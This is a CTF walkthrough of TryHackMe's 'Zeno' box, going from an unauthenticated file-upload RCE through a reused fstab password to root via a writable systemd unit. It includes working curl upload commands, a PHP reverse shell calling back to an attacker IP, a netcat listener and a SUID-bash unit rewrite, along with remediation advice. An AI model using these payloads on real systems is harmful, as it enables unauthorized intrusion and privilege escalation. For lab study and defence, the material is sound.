Zeno
An unauthenticated Restaurant Management System file-upload RCE gives apache; a cleartext CIFS password in /etc/fstab is reused for a user; and a world-writable root systemd unit plus sudo reboot yields root.
TryHackMe: Zeno — Unauthenticated RMS File-Upload RCE, an fstab Password, and a Writable systemd Unit to Root
A walkthrough of TryHackMe’s “Zeno”: a Restaurant Management System on a high port falls to an unauthenticated arbitrary file-upload RCE, a cleartext password left in /etc/fstab gets reused for a local user, and a world-writable root systemd unit — triggered via a sudo-allowed reboot — drops a SUID shell.
Zeno is an authorized training machine on TryHackMe; everything here was performed against a legal practice target. Recovered passwords and flags are redacted — values shown as
<redacted>orTHM{<redacted>}are real on the box but withheld here.
TL;DR — the whole chain
TL;DR
Port 12340 serves a Restaurant Management System 1.0 under /rms → its admin/foods-exec.php upload takes a PHP file without authentication (EDB-47520); upload a reverse shell, browse it under /rms/images/, and get a shell as apache → /etc/fstab holds a cleartext CIFS password that is reused by the user edward (user flag) → /etc/systemd/system/zeno-monitoring.service is world-writable and runs User=root, and edward has sudo reboot (NOPASSWD) → rewrite the unit’s ExecStart to make a SUID bash, reboot to trigger it → ./bash -p → root.
The target
export IP=<target-ip>
export ATTACKER_IP=<your-ip>
22/tcp OpenSSH 7.4
12340/tcp Apache 2.4.6 (CentOS) PHP/5.4.16
gobuster on port 12340 finds /rms — a SourceCodester Restaurant Management System 1.0.
The vulnerability: an upload that never checks who you are
RMS 1.0 has a public RCE (Idad Shah, EDB-47520). The original script hardcodes an admin session cookie, which makes it look authenticated — but the upload endpoint never actually validates the session, so the whole thing works anonymously.
Insight
The admin “add food” handler /rms/admin/foods-exec.php accepts a photo file and drops it straight into the web-served /rms/images/ directory with no auth check and no type/extension filtering. Upload a .php file and you have remote code execution before you ever log in. The hardcoded cookie in the public exploit is a red herring — strip it out and the request still succeeds.
Step 1 — unauthenticated file upload → shell as apache
A minimal exploit posts a PHP reverse shell as the photo field, then requests it:
# POST the payload (no auth), then trigger it
curl -s -F 'photo=@exploit.php;type=text/html' -F 'submit=Add' \
"http://$IP:12340/rms/admin/foods-exec.php"
curl -s "http://$IP:12340/rms/images/exploit.php" # fires the reverse shell
Where exploit.php is a classic PHP connect-back:
<?php $sock=fsockopen("<attacker-ip>",4444); $proc=proc_open("/bin/sh -i", array(0=>$sock,1=>$sock,2=>$sock), $pipes); ?>
Catch it and upgrade:
nc -lvnp 4444
# uid=48(apache) ... context=system_u:system_r:httpd_t:s0
python3 -c 'import pty;pty.spawn("/bin/bash")'
Step 2 — an fstab password, reused for edward (user flag)
/etc/passwd shows a non-system user edward. The app’s config.php has cleartext DB creds, but they do not work for edward or root. The real leak is in /etc/fstab — a commented CIFS mount with inline credentials:
cat /etc/fstab
# //10.x.x.x/secret-share /mnt/secret-share cifs ...,username=zeno,password=<redacted>,domain=localdomain,...
That password is reused by edward:
su edward # password from fstab
[edward@zeno ~]$ cat user.txt
# THM{<redacted>}
Step 3 — root via a writable systemd unit + sudo reboot
Two findings combine into root:
sudo -l
# (ALL) NOPASSWD: /usr/sbin/reboot
ls -l /etc/systemd/system/zeno-monitoring.service
# -rw-rw-rw- 1 root root ... <- world-writable
cat /etc/systemd/system/zeno-monitoring.service
# [Service] User=root ExecStart=/root/zeno-monitoring.py
Edward cannot restart services, but he does not need to — he can reboot the box, and the unit runs as root on boot. Rewrite ExecStart to mint a SUID bash, then trigger it:
vim /etc/systemd/system/zeno-monitoring.service
# ExecStart=/bin/bash -c 'cp /bin/bash /mnt/bash; chmod u+s /mnt/bash'
sudo /usr/sbin/reboot
# reconnect over SSH once it is back
/mnt/bash -p
bash-4.2# id; cat /root/root.txt
# uid=0(root) ... ; THM{<redacted>}
Impact
Critical
Critical — unauthenticated RCE to root. The RMS upload is remote, pre-auth code execution (~CVSS 3.1 9.8, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). The writable root unit is then a clean local root: a non-privileged user edits what root will execute, and a permitted reboot pulls the trigger. Cleartext creds in /etc/fstab bridge the two.
Recommended fix
Fix
- Lock down the RMS upload (or retire RMS 1.0): require authentication, validate file type, and store uploads outside the web root in a non-executable directory.
- Never put credentials in
/etc/fstab(it is world-readable). Use a root-onlycredentials=file (mode 600) for CIFS mounts, and don’t reuse that password for login accounts. - Fix the unit-file permissions. Files under
/etc/systemd/systemmust beroot:root, mode644; a world-writable unit that runs as root is an instant privesc. - Scope the sudo grant.
NOPASSWD: rebootis harmless only if nothing root-executed is user-writable — here it is the trigger.
Takeaways
- “Authenticated” exploits are worth a second look. A hardcoded cookie does not prove the endpoint checks it — strip it and test.
/etc/fstabis a credential file. CIFS/NFS mounts routinely leak passwords in the clear; always read it, and test reuse against every local account.- A writable unit + a way to make root re-run it = root. You do not need restart rights if you can reboot, log out/in, or wait for a timer.
- Enumerate permissions, not just binaries. The decisive find was a file mode (
-rw-rw-rw-), not a program.
Thanks for reading. Zeno is a clean two-stage box: an unauthenticated upload for the foothold, and a world-writable root service — plus a reboot you are allowed to run — for the finish.